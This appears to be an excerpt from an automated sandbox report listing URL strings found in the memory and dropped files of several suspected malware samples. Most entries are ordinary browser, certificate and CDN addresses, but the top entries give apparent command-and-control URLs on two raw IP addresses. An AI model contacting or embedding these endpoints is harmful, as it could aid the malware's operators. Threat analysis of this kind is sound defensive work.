Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpv
Source: file.exe, 00000000.00000002.2667072868.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpz
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2067
Source: 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Q
Source: file.exe, 00000000.00000002.2667428725.0000000000C07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000019.00000003.3582138880.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582084634.000000000166F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.5957560093.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0
Source: skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0846804042ba5FJ
Source: skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0846d934f48b1~G4
Source: skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l
Source: skotes.exe, 00000019.00000003.3728547029.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.0000000001616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php725001
Source: skotes.exe, 00000019.00000003.3728547029.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.0000000001616000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.0000000001616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php727001
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpH
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpI
Source: skotes.exe, 00000019.00000002.5957560093.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZ
Source: skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpdedE
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpf
Source: skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpj
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded8
Source: skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedE
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=
Source: skotes.exe, 00000019.00000002.5957560093.000000000167E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpz
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ngineer
Source: skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ta
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_460.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2691276512.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684612621.000000001D2B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_462.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_462.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_460.5.dr, chromecache_462.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 48917747-4b68-4a28-ac2f-000afb01ac7b.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 48917747-4b68-4a28-ac2f-000afb01ac7b.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 48917747-4b68-4a28-ac2f-000afb01ac7b.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_462.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_462.5.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_462.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.ldb.9.dr	String found in binary or memory: https://edgeassetservice.azure
Source: 48917747-4b68-4a28-ac2f-000afb01ac7b.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.ldb.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/
Source: 000004.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=Addre
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_460.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_460.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_460.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_460.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 000003.ldb.9.dr	String found in binary or memory: https://mail.google.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375877842109657.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 000003.ldb.9.dr	String found in binary or memory: https://open.spotify.com
Source: chromecache_460.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_462.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_462.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 000003.ldb.9.dr	String found in binary or memory: https://web.skype.com/?
Source: chromecache_462.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2295871337.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, KKEHIEBK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 48917747-4b68-4a28-ac2f-000afb01ac7b.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_462.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_462.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_460.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_460.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_460.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: IDGHDGIDAKEBAAKFCGHCBAKJDA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 000003.ldb.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs
Source: 000003.ldb.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 000003.ldb.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 000003.ldb.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
